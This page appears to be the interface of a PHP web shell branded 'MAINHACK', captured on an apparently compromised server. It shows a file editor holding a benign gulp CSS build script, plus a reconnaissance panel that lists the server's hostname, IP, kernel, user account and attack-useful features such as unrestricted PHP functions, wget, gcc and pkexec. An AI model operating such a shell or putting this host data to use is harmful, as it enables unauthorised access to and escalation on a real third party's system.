[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: css.js
var csscomb = require('gulp-csscomb'); var cssmin = require('gulp-cssmin'); var rename = require('gulp-rename'); var rtlcss = require('gulp-rtlcss'); module.exports = (gulp, callback) => { const cssCombTask = function () { return gulp .src(['**/*.css', '!**/*.min.css'], { cwd: config.destination.css }) .pipe(csscomb()) .pipe(gulp.dest(config.destination.css)); }; const cssCombRtlTask = function () { return gulp .src(['**/*.css', '!**/*.min.css'], { cwd: config.destination.css_rtl }) .pipe(csscomb()) .pipe(gulp.dest(config.destination.css_rtl)); }; const cssMinTask = function () { return gulp .src(['**/*.css', '!**/*.min.css'], { cwd: config.destination.css }) .pipe(cssmin()) .pipe(rename({ suffix: '.min' })) .pipe(gulp.dest(config.destination.css)); }; const cssMinRtlTask = function () { return gulp .src(['**/*.css', '!**/*.min.css'], { cwd: config.destination.css_rtl }) .pipe(cssmin()) .pipe(rename({ suffix: '.min' })) .pipe(gulp.dest(config.destination.css_rtl)); }; const cssRtlTask = function () { return gulp .src([config.destination.css + '/**/*.css', config.destination.css + '!/**/*.min.css']) .pipe(rtlcss()) .pipe(gulp.dest(config.destination.css_rtl)); }; const cssRtlVendorTask = function(){ return gulp.src([config.vendors_path + 'css/vendors.min.css']) .pipe(rtlcss()) .pipe(rename('vendors-rtl.min.css')) .pipe(gulp.dest(config.vendors_path + 'css')); } // --------------------------------------------------------------------------- // Exports return { css_comb: cssCombTask, css_rtl_comb: cssCombRtlTask, css_min: cssMinTask, css_rtl_min: cssMinRtlTask, css_rtl: cssRtlTask, css_rtl_vendor: cssRtlVendorTask }; };
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.92 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002